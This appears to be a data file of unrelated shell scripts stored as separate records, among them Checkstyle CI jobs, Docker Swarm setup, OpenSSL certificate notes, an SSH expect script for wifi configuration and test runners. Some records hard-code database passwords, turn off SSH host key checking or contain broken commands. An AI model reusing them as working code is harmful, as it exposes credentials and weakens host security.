./launch.groovy --listOfProjects projects-for-wercker.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-guava)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i'' 's/^guava/#guava/' projects-for-wercker.properties\n sed -i'' 's/#guava/guava/' projects-for-wercker.properties\n groovy ./launch.groovy --listOfProjects projects-for-wercker.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-hibernate-orm)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#hibernate-orm/hibernate-orm/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-for-wercker.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-spotbugs)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#spotbugs/spotbugs/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-to-test-on.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-spring-framework)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#spring-framework/spring-framework/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-to-test-on.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-hbase)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#Hbase/Hbase/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-to-test-on.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-Pmd-elasticsearch-lombok-ast)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#pmd/pmd/' projects-to-test-on.properties\n sed -i.'' 's/#elasticsearch/elasticsearch/' projects-to-test-on.properties\n sed -i.'' 's/#lombok-ast/lombok-ast/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-to-test-on.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-alot-of-projects)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i.'' 's/^guava/#guava/' projects-to-test-on.properties\n sed -i.'' 's/#RxJava/RxJava/' projects-to-test-on.properties\n sed -i.'' 's/#java-design-patterns/java-design-patterns/' projects-to-test-on.properties\n sed -i.'' 's/#MaterialDesignLibrary/MaterialDesignLibrary/' projects-to-test-on.properties\n sed -i.'' 's/#apache-ant/apache-ant/' projects-to-test-on.properties\n sed -i.'' 's/#apache-jsecurity/apache-jsecurity/' projects-to-test-on.properties\n sed -i.'' 's/#android-launcher/android-launcher/' projects-to-test-on.properties\n groovy ./launch.groovy --listOfProjects projects-to-test-on.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-warning-imports-guava)\n PROJECTS=checks-import-order/projects-to-test-imports-guava.properties\n CONFIG=checks-import-order/checks-imports-error-guava.xml\n REPORT=reports/guava/site/index.html\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n groovy ./launch.groovy --listOfProjects $PROJECTS --config $CONFIG \\\n --checkstyleVersion ${CS_POM_VERSION}\n RESULT=`grep -A 5 \" Warning\" $REPORT | cat`\n cd ../../\n rm -rf contribution\n if [ -z \"$RESULT\" ]; then\n echo \"Inpection did not find any warnings\"\n else\n echo \"$RESULT\"\n echo \"Some warnings have been found. Verification failed.\"\n sleep 5s\n exit 1\n fi\n ;;\n\nno-warning-imports-java-design-patterns)\n PROJECTS=checks-import-order/projects-to-test-imports-java-design-patterns.properties\n CONFIG=checks-import-order/checks-imports-error-java-design-patterns.xml\n REPORT=reports/java-design-patterns/site/index.html\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n groovy ./launch.groovy --listOfProjects $PROJECTS --config $CONFIG \\\n --checkstyleVersion ${CS_POM_VERSION}\n RESULT=`grep -A 5 \" Warning\" $REPORT | cat`\n cd ../../\n rm -rf contribution\n if [ -z \"$RESULT\" ]; then\n echo \"Inpection did not find any warnings\"\n else\n echo \"$RESULT\"\n echo \"Some warnings have been found. Verification failed.\"\n sleep 5s\n exit 1\n fi\n ;;\n\n*)\n echo \"Unexpected argument: $1\"\n sleep 5s\n false\n ;;\n\nesac"} {"text": "#!/usr/bin/env bash\nset -u -o pipefail\n\nVCS_SOURCE=\"$(git remote get-url --push origin)\"\nVCS_REVISION=\"$(git describe --always)\"\nDATE=\"$(date -u +\"%Y-%m-%dT%H:%M:%SZ\")\"\nexport VCS_SOURCE\nexport VCS_REVISION\nexport DATE\nexport BASE_IMAGE=\"antora/antora:3.0.1\"\nexport BASH_VERSION=\"5.1.8-r0\"\nexport MAKE_VERSION=\"4.3-r0\"\nexport GIT_VERSION=\"2.34.1-r0\"\nexport OPENSSH_CLIENT_VERSION=\"8.8_p1-r1\"\nexport ANTORA_XREF_VALIDATOR=\"v1.0.0-alpha.14\"\nexport LUNR_EXTENSION_VERSION=\"1.0.0-alpha.4\""} {"text": "#!/usr/bin/env bash\n#\n# Create a Swarm Mode service that builds an Elasticsearch, Kibana and cAdvisor\n# cluster.\n# This script is a mirror of the following gist, which is used to\n# populate a Medium story. Unfortunately, there's no way to synchronize all\n# three\n#\n# Medium: https://medium.com/contino-io/docker-kata-005-ac8429082f6c\n# Gist: https://gist.github.com/anonymuse/df84df471abda00fbc3ab595037ab44d\n\n\n# Set up global variables\nswarm_network=${SWARM_NETWORK:-\"monitoring\"}\nworkers=${WORKERS:-\"node01 node02 node03 node04\"}\nmaster=${MASTERS:-\"master01\"}\nswarm_port=2377\nmaster_ip=$(docker-machine ip ${master})\nmaster_conf=$(docker-machine config ${master})\n\n\n# Function to save configuration loading while we switch Docker Machine\n# environment variables\n# Arguments:\n# $@: the Docker engine commmand that we'll load into the configuration\nswarm_master() {\n docker $master_conf $@\n }\n\n# The body of our script\nmain() {\n\n\n # Create the network that we'll use for the swarm. Ensure that this command is\n # executed from your Swarm Manager.\n docker $master_conf network create $swarm_network -d overlay\n\n # Take the set of nodes, and get the first in the list\n # to use for the Elasticsearch node.\n worker_array=($workers)\n el_node=${worker_array[0]}\n\n # Create the Elasticsearch service\n docker $master_conf service create --network=$swarm_network \\\n --mount type=volume,target=/usr/share/elasticsearch/data \\\n --constraint node.hostname==$el_node \\\n --name elasticsearch elasticsearch:2.4.0\n\n # Create the Kibana service\n docker $master_conf service create --network=$swarm_network \\\n --name kibana -e ELASTICSEARCH_URL=\"http://elasticsearch:9200\" \\\n -p 5601:5601 kibana:4.6.0\n\n # Create the cAdivsor service\n docker $master_conf service create --network=$swarm_network \\\n --mode global --name cadvisor \\\n --mount type=bind,source=/,target=/rootfs,readonly=true \\\n --mount type=bind,source=/var/run,target=/var/run,readonly=false \\\n --mount type=bind,source=/sys,target=/sys,readonly=true \\\n --mount type=bind,source=/var/lib/docker/,target=/var/lib/docker,readonly=true \\\n google/cadvisor:latest -storage_driver=elasticsearch \\\n -storage_driver_es_host=\"http://elasticsearch:9200\"\n # Give the service time to start up\n echo \"Sleeping for 10 seconds to allow cAdvisor service to initiate\"\n sleep 10\n\n # Create a container visualizer\n docker $master_conf run -it -d -p 5000:5000 -e HOST=$master_ip -e PORT=5000 \\\n -v /var/run/docker.sock:/var/run/docker.sock manomarks/visualizer\n\n # Open up a webpage to our visualizer\n open http://$master_ip:5000\n\n echo $master_conf\n\n # Add an index to Kibana for cAdvisor metrics\n docker $master_conf exec $(docker ${master_conf} ps |grep cadvisor | \\\n awk '{print $1}' | head -1) apk --no-cache add curl\n\n docker $master_conf exec $(docker ${master_conf} ps |grep cadvisor | \\\n awk '{print $1}' | head -1) curl -XPUT \\\n http://elasticsearch:9200/.kibana/index-pattern/cadvisor -d \\\n '{\"title\" : \"cadvisor*\", \"timeFieldName\": \"container_stats.timestamp\"}'\n\n # Make the index default\n docker $master_conf exec $(docker ${master_conf} ps |grep cadvisor | \\\n awk '{print $1}' | head -1) curl -XPUT \\\n http://elasticsearch:9200/.kibana/config/4.6.0 -d \\\n '{\"defaultIndex\":\"cadvisor\"}'\n\n}\n\nmain $@"} {"text": "deploy.sh\n#!/bin/sh\n\nset -e\n\nreset=$(tput sgr0)\nmagenta=$(tput setaf 5)\nbold=$(tput bold)\n\nfunction log {\n now=$(date \"+%F %T\")\n echo \"$bold$magenta[$now]\" $@ $reset 1>&2\n}\n\nfunction logged {\n log $@\n $@\n}\n\nfunction die { log $@; exit 1; }\n\n# make sure there are no unsaved changes\n# https://stackoverflow.com/questions/3878624/how-do-i-programmatically-determine-if-there-are-uncommitted-changes\nif [[ `git status --porcelain` ]]; then\n die \"Unsaved Changes\"\nfi\n\nREPOSITORY=michaelfbryan/mdbook-docker-image\nGIT_SHA=$(git rev-parse --short HEAD)\n\nlogged docker build -t $REPOSITORY:$GIT_SHA -t $REPOSITORY:latest .\nlogged docker push $REPOSITORY"} {"text": "contrib/swarm/cluster/create.sh\n#!/bin/bash\nprovider=virtualbox\necho \"### Init Servers ###\"\n\ndocker-machine create -d ${provider} sw1 &\ndocker-machine create -d ${provider} sw2 &\ndocker-machine create -d ${provider} sw3 &\n\nwait\n\necho \"### Configurate cluster ###\"\n\nMANAGER_IP=$(docker-machine ip sw1)\ndocker-machine ssh sw1 docker swarm init --advertise-addr ${MANAGER_IP}\nTOKEN=$(docker-machine ssh sw1 docker swarm join-token -q worker)\ndocker-machine ssh sw2 docker swarm join --token ${TOKEN} ${MANAGER_IP}:2377\ndocker-machine ssh sw3 docker swarm join --token ${TOKEN} ${MANAGER_IP}:2377\n\n# Information\necho \"\"\necho \"CLUSTER INFORMATION\"\necho \"discovery token: ${TOKEN}\"\necho \"Environment variables to connect trough docker cli\"\ndocker-machine env sw1"} {"text": "#!/bin/bash\n\nset -x\n\nmkdir -p \"data/mitdb\"\ncd \"data/mitdb\"\n\nexts=\"atr dat hea\"\nfor ext in $exts; do\n\tfor rec in {100..124}; do\n\t\tfilename=$rec.$ext\n\t\twget https://physionet.org/physiobank/database/mitdb/$filename\n\tdone\n\tfor rec in {200..234}; do\n\t\tfilename=$rec.$ext\n\t\twget https://physionet.org/physiobank/database/mitdb/$filename\n\tdone\ndone"} {"text": "1-10\n#!/usr/bin/env bash\n# first rename files to match frame pattern\nffmpeg -framerate 10 -i \"i (%d)*.png\" out.gif\nffmpeg -i SpaceGAN-training.gif -c:v libvpx -crf 4 -b:v 8000K -auto-alt-ref 0 output.webm"} {"text": "# --------------------------------------------------------------------------------------\n# Certificate Authority (CA)\n# https://superuser.com/questions/738612/openssl-ca-keyusage-extension\n\n# Creating our root PRIVATE Key\nopenssl genrsa -out saevon.root.key 4096\n # Add this if you want to encrypt the key as well (with a passphrase)\n -des3\n\n\n# Create our ROOT Certificate\nopenssl req -x509 -new -key saevon.root.key -sha256 -days 365 -out saevon.root.crt\n # You need to explicitly choose to encrypt (or not)\n -nodes\n # OR\n -des3\n\n# Sign people's Certificates (send back the *.crt)\nopenssl req -x509 -in mydomain.com.csr -CA saevon.root.crt -CAkey saevon.root.key\n -out mydomain.com.crt -config ssl.conf.ini\n # Every certificate you sign needs a unique serial number... this is stored on a file\n # You will need one of the following:\n\n # The first time you create a serial (indicating how many things you've signed)\n -CAcreateserial\n # it creates a file with the same name as the *.crt except *.srl\n\n # Every time afterwards, just supply this file\n -CAserial saevon.root.srl\n\n# Verify that something was signed by you\nopenssl verify -CAfile saevon.root.crt mydomain.com.crt\n\n\n# MacOSX Splitting from Keychain.app (after exporting)\nopenssl pkcs12 -in path.p12 -out newfile.crt.pem -clcerts -nokeys\nopenssl pkcs12 -in path.p12 -out newfile.key.pem -nocerts -nodes\n\n\n# --------------------------------------------------------------------------------------\n# Server SSL\n\n\n\n\n# TODO:\n# 1) Create this system once\n# 2) Verify that extensions (e.g. the SAN[second name] get copied over when you sign the crt)\n# 3) Theres also EV (Extended Validation) in case you want the green lock symbol\n# https://gist.github.com/Soarez/9688998\n\n# --------------------------------------------------------------------------------------\n# Server SSL\n\n# Create our Server Certificate PRIVATE KEY\nopenssl genrsa -out mydomain.com.key 2048\n\n# Certificate Signing Request (csr)\n# Ask a Root CA to sign your SSL Certificate\nopenssl req -new -key mydomain.com.key -out mydomain.com.csr -config mydomain.com.conf\n # You can also add in other things... such as a SAN: (extra domain names)\n\n# Now Get the CA to actually sign it\n# csr >> crt\n# The CSR is useless after wards\nrm mydomain.com.csr\n\n# OR self-sign it\n# Note you need the INI again to get extensions working properly...???\nopenssl x509 -req -days 365 -in mydomain.com.csr -signkey mydomain.com.key -out mydomain.com.crt -extfile mydomain.com.ini\n\n\n\n\n# Getting information out of a .crt\nopenssl x509 -text -noout -in mydomain.com.crt\n\n# Checking a servers certificate\n# You might need\nopenssl s_client -connect server.com:443\n # Optionally you can specify a root CA to use, a bundle\n # OR you can use an intermediate cert (especially if the server doesn't provide it)\n -CAfile certificate.bundle.pem\n\n\n\n\n\n\n\n# --------------------------------------------------------------------------------------\n# Double check permissions (and location)\nsudo chmod u=rw,g=r,o= /etc/ssl/private/*.key\n chown root:ssl-cert\nsudo chmod u=rw,g=r,o=r /etc/ssl/cert/*.crt\n chown root:ssl-cert\n\n\n\n\n\n# Notes:\n*.pem # A Jumble of things: CSR, CRT, KEY, etc\n*.p12 # A Jumble of Certificate + Private Key (CRT + KEY) (MacOSX)\n*.crt # A certificate PEM file (but apps know its a certificate)\n*.csr # Basically your public key for the CA to issue a certificate\n*.srl # A Serial identifier for a CA\n\n\n# Don't forget about wildcard certificates (locking down all subdomains)\n*.saevon.ca\n# Which won't actually match the base(naked) domain... so include them both"} {"text": "#!/bin/sh\n\nbasepath=$(cd `dirname $0`; pwd)/swoole.pid\n\nkill -USR1 `cat $basepath`;"} {"text": "1-10\n#!/bin/bash\r\ngcloud dataproc jobs submit pyspark \\\r\n --cluster sparktobq \\\r\n spark_analysis.py \\\r\n -- --bucket=$1"} {"text": "zhijian-yang/SmileGAN\n#!/bin/bash\n\nwhile read requirement;\ndo \n\tpip install $requirement\ndone < requirements.txt"} {"text": "#!/bin/bash\n\n# Copyright 2016 The Kubernetes Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\n# \"-=-=-=-=-=-=-=-=-=-=\"\n# This script is only for CI testing purposes. Don't use it in production.\n# \"-=-=-=-=-=-=-=-=-=-=\"\n\nKUBE_ROOT=${KUBE_ROOT:-$(dirname \"${BASH_SOURCE}\")/../..}\nsource \"${KUBE_ROOT}/cluster/clientbin.sh\"\n\n# If KUBEFED_PATH isn't set, gather up the list of likely places and use ls\n# to find the latest one.\nif [[ -z \"${KUBEFED_PATH:-}\" ]]; then\n kubefed=$( get_bin \"kubefed\" \"federation/cmd/kubefed\" )\n\n if [[ ! -x \"$kubefed\" ]]; then\n print_error \"kubefed\"\n exit 1\n fi\nelif [[ ! -x \"${KUBEFED_PATH}\" ]]; then\n {\n echo \"KUBEFED_PATH environment variable set to '${KUBEFED_PATH}', but \"\n echo \"this doesn't seem to be a valid executable.\"\n } >&2\n exit 1\nfi\nkubefed=\"${KUBEFED_PATH:-${kubefed}}\"\n\n# Use the arguments to the script if it is set, a null string\n# otherwise.\n\"${kubefed}\" \"${@+$@}\""} {"text": "for j in $(seq 23)\n\tdo\n i=0;\n nome=jogador$j-$pais;\n\t\tcpf=$i$j$i$j$i;\n if [ $j -eq 1 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'GOL',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 2 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'LAT',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 3 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 4 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 5 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 6 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'LAT',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 7 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 8 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 9 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ATA',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 10 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 11 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ATA',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 12 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'GOL',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 13 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'LAT',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 14 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 15 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 16 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ZAG',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 17 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'LAT',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 18 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 19 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 20 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ATA',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 21 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'MEI',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 22 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'ATA',$cpf,$j);\" >> pais_jogador.sql;\n fi\n if [ $j -eq 23 ]\n then \n echo \"INSERT INTO jogador VALUES($i$j,'$nome','23/10/1980',$i,'GOL',$cpf,$j);\" >> pais_jogador.sql;\n fi\n \n ## definindo ocas goleiros \n\n\tdone"} {"text": "#! /bin/sh\n#Setup Ruby\nsudo apt update && \\\nsudo apt install -y ruby-full ruby-bundler build-essential && \\\nruby -v && \\\nbundler -v\n\n#Setup MongoDB\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927 &&\nsudo bash -c 'echo \"deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse\" > /etc/apt/sources.list.d/mongodb-org-3.2.list'\n\nsudo apt update && \\\nsudo apt install -y mongodb-org && \\\nsudo systemctl start mongod && \\\nsudo systemctl enable mongod && \\\nsudo systemctl status mongod\n\n#Deploy\ngit clone -b monolith https://github.com/express42/reddit.git && \\\ncd reddit && bundle install && \\\npuma -d && \\\nps aux | grep puma"} {"text": "stackoverflow/.travis.sh1-10\nexport DATABASE_URL=\"postgresql+psycopg2://asheuh:@mermaid@localhost:5432/stackoverflow_test\"\nexport ENVIRONMENT=\"DEVELOPMENT\"\nexport FLASK_DEBUG = 1\nexport TEST_DATABASE_URI=\"postgresql+psycopg2://postgres:@bashtech1234@localhost:5432/travis_test\"\nexport FLASK_APP='app.py'"} {"text": "#!/usr/bin/env bash\n\nif [ ! -x \"$(command -v isort 2>/dev/null)\" ]; then\n echo 'can not find \"isort\" in system path.'\n exit 1\nfi\n\nif [ ! -x \"$(command -v black 2>/dev/null)\" ]; then\n echo 'can not find \"black\" in system path.'\n exit 1\nfi\n\nTARGET=(\"feaflow tests setup.py\")\nif [ \"$1\" != \"\" ]; then\n TARGET=(\"$@\")\nfi\n\nROOT_DIR=$(dirname $(dirname \"$(realpath \"$0\")\"))\ncd $ROOT_DIR || exit 1\n\nisort ${TARGET[@]} && \\\nblack --target-version py38 ${TARGET[@]}"} {"text": "10-100\n#!/bin/bash\nset -x\nrm -r 111-array-individual-assigns.out || exit 1\nexit 0"} {"text": "#!/usr/bin/expect -f\n\nset AP_IPADDR \t[lindex $argv 0];\nset AP_USRNM\t[lindex $argv 1];\nset AP_PWD \t\t[lindex $argv 2];\nset SSID \t\t[lindex $argv 3];\nset KEY \t\t[lindex $argv 4];\nset HIDE \t\t[lindex $argv 5];\n\n# puts \"Total: $ARGC argument(s)\"\n\n# SSH\nspawn ssh -o StrictHostKeyChecking=no $AP_USRNM@$AP_IPADDR\nset timeout 10\nexpect {*?assword:*}\nsend \"$AP_PWD\"\nsend \"\\r\"\n\n# Telnet \n# spawn telnet $AP_IPADDR\n# set timeout 10\n# expect {*?:/#*}\n\n# Wait for login\nsleep 1\n\n# Configure iface 1\nsend \"uci set wireless.@wifi-iface\\[0\\].ssid='$SSID'\\r\"\nsend \"uci set wireless.@wifi-iface\\[0\\].encryption=psk2\\r\"\nsend \"uci set wireless.@wifi-iface\\[0\\].key='$KEY'\\r\"\nsend \"uci set wireless.@wifi-iface\\[0\\].hidden=$HIDE\\r\"\n\nsend \"uci commit wireless\\r\"\nsend \"wifi\\r\"\n\n# Terminate session\nsend \"exit\\r\"\n\nexpect eof"} {"text": "#!/bin/bash\n\ncd /opt/burrow-stats\nconsul-template -once -template \"/etc/consul-templates/burrow-stats/configs.json.ctmpl:/opt/burrow-stats/configs.json\"\nnpm start"} {"text": "#!/bin/bash\n\nps -aux | grep dataspaces| cut -c 9-15|xargs kill -9\nps -aux | grep test| cut -c 9-15|xargs kill -9"} {"text": "0\n#! /bin/sh\n\n## Most tsv-sample testing is done as unit tests. Tests executed by this script are run\n## against the final executable. This provides a sanity check that the final executable\n## is good. Tests are easy to run in this format, so there is overlap. However, these\n## tests do not test edge cases as rigorously as unit tests. Instead, these tests focus\n## on areas that are hard to test in unit tests.\n##\n## Portability note: Many of the tests here rely on generating consistent random numbers\n## across different platforms when using the same random seed. So far this has succeeded\n## on several different platorm, compiler, and library versions. However, it is certainly\n## possible this condition will not hold on other platforms.\n##\n## For tsv-sample, this portability implies generating the same results on different\n## platforms when using the same random seed. This is NOT part of tsv-sample guarantees,\n## but it is convenient for testing. If platforms are identified that do not generate\n## the same results these tests will need to be adjusted.\n\nif [ $# -le 1 ]; then\n echo \"Insufficient arguments. A program name and output directory are required.\"\n exit 1\nfi\n\nprog=$1\nshift\nodir=$1\necho \"Testing ${prog}, output to ${odir}\"\n\n## Three args: program, args, output file\nruntest () {\n echo \"\" >> $3\n echo \"====[tsv-sample $2]====\" >> $3\n $1 $2 >> $3 2>&1\n return 0\n}\n\nbasic_tests_1=${odir}/basic_tests_1.txt\n\necho \"Basic tests set 1\" > ${basic_tests_1}\necho \"-----------------\" >> ${basic_tests_1}\n\nruntest ${prog} \"--header --static-seed input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --print-random input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --print-random --weight-field 3 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --print-random -w 3 --num 15 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --print-random -n 15 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -n 100 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --gen-random-inorder --weight-field 3 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --gen-random-inorder -n 15 --weight-field 3 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --gen-random-inorder input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s --gen-random-inorder -n 15 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\n\n# Bernoulli sampling\nruntest ${prog} \"-H -s --prob 1.0 --print-random input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p 0.25 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p 0.75 -n 5 input3x10.tsv input3x25.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .25 --key-fields 1 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\n\n# Simple random sampling with replacement\nruntest ${prog} \"-H -s --replace input3x3.tsv --num 5\" ${basic_tests_1}\nruntest ${prog} \"-s --r input2x5_noheader.tsv --num 7\" ${basic_tests_1}\n\n# Distinct Sampling\nruntest ${prog} \"-H -s --prob .25 -k 3,1 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .25 -k 1,3 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .25 -k 1,1 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .25 -k 1 -n 5 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -p .25 